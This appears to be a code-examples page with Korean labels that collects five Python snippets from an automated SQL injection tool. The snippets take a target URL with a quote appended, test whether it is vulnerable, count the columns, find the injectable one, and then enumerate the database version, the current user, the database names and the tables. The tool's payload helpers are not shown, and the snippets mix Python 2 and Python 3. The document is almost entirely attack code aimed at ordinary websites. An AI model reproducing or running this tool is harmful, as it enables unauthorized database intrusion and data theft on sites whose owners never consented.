예제 #1
0
    def change_database(self):
        print_data(self.db_names, ['Databases'])
        self.working_on_db = input("On which Database you want to work on?: ")
        while self.working_on_db not in self.db_names:
            self.working_on_db = input(
                "Wrong Input!\nOn which Database you want to work on?: ")

        self.site = replaces.repl(self.site, 2, self.working_on_db)
예제 #2
0
    def find_tables_of_database(self):
        self.the_page = get_the_page(self.site, "2")
        self.tables = s_data.search_for(self.the_page)

        if not len(self.tables):
            print("Could not get the tables, program will exit.")
            exit()

        print_data(self.tables, ['Tables Found'])
        self.site = replaces.repl(self.site, 3, self.working_on_db)
        if not self.based == '':
            self.site = site.replace(self.based, '')
예제 #3
0
    def database_information(self):
        self.db_version = dbs.version(self.site)
        print("SQL Version: %s" % self.db_version)

        self.db_user = dbs.user(self.site)
        print("Current user is: %s" % self.db_user)

        self.db_names = dbs.names(self.site)
        print_data(self.db_names, ['Databases'])

        self.working_on_db = dbs.working_db(self.site)
        print("You are on: %s database" % self.working_on_db)

        change_database = input("Do you want to change database? (y/n): ")
        if change_database == "y":
            self.change_database()
        else:
            self.site = replaces.repl(self.site, 2, self.working_on_db)
예제 #4
0
print "Example: http://www.somesite.com/articles.php?id=1'\n\n"

flag='1'
while flag=='1':
    site=raw_input("Give the url: ")
    if "'" in site:
        site = site_alive(site)
        flag = vuln(site)
    
columns,based=ft_cols(site)
site=uni_cols(site,columns,based)
site=site.replace(flag,flag+"-")
print site
vuln_column=str(f_vuln_col(site,columns))

site=replaces.repl(site,1,vuln_column)

dbs.version(site)
dbs.user(site)
dbs_names=dbs.names(site)
ans=dbs.working_db(site)

if ans=='1':
    ans=raw_input("On which Database you want to work on?: ")
    while ans not in dbs_names:
        ans=raw_input("Wrong Input!\nOn which Database you want to work on?: ")
site=replaces.repl(site,2,ans)

the_page=get_the_page(site,"2")
tables=s_data.search_for(the_page)
예제 #5
0
 def vulnerable_column(self):
     self.vuln_column = str(f_vuln_col(self.site, self.columns))
     self.site = replaces.repl(self.site, 1, self.vuln_column)